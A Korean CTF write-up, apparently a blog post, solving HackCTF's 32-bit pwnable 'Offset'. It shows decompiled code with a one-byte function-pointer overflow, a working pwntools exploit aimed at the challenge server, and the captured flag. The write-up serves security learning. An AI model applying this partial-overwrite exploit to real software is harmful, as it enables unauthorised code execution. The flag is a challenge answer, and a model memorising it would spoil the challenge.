Wargame & CTF/HackCTF
[HackCTF / pwnable] Offset
cg10036
2019. 10. 5. 15:06
32비트 오버플로우 문제이다.
1 2 3 4 5 6 7 8 9 10 11 12 | int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1h] [ebp-27h] int *v5; // [esp+20h] [ebp-8h] v5 = &argc; setvbuf(stdout, (char *)&dword_0 + 2, 0, 0); puts("Which function would you like to call?"); gets(&s); select_func(&s); return 0; } | cs |
1 2 3 4 5 6 7 8 9 10 11 | int __cdecl select_func(char *src) { char dest; // [esp+Eh] [ebp-2Ah] int (*v3)(void); // [esp+2Ch] [ebp-Ch] v3 = (int (*)(void))two; strncpy(&dest, src, 0x1Fu); if ( !strcmp(&dest, "one") ) v3 = (int (*)(void))one; return v3(); } | cs |
1 2 3 4 5 6 7 8 9 10 11 | int print_flag() { char i; // al FILE *fp; // [esp+Ch] [ebp-Ch] puts("This function is still under development."); fp = fopen("flag.txt", "r"); for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) ) putchar(i); return putchar(10); } | cs |
print_flag를 호출하면 된다. PIE가 적용되어 있어서 ret을 덮어쓰는 방식으로는 불가능하다.
PIE는 Position Independent Executable의 약자로 모든 영역을 랜덤하게 매핑한다.
하지만 base부분만 변하기때문에 base부분을 알수있으면 함수를 호출할수있다.
dest와 v3의 거리는 0x2a-0xc, 0x1e이다. 하지만 strncpy로 0x1f를 복사하므로 v3의 맨 끝 1바이트를 오버플로우 할수있다.
v3에는 two함수의 주소값이 들어있으므로 맨 끝바이트만 수정하면 print_flag를 호출할수있을것이다.
ex.py
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * e = ELF("./offset") #p = process("./offset") p = remote("ctf.j0n9hyun.xyz", 3007) payload = "" payload += "A"*0x1e payload += p32(e.symbols["print_flag"]) p.recvuntil("?") p.sendline(payload) p.interactive() | cs |
Offset : HackCTF{76155655017129668567067265451379677609132507783606}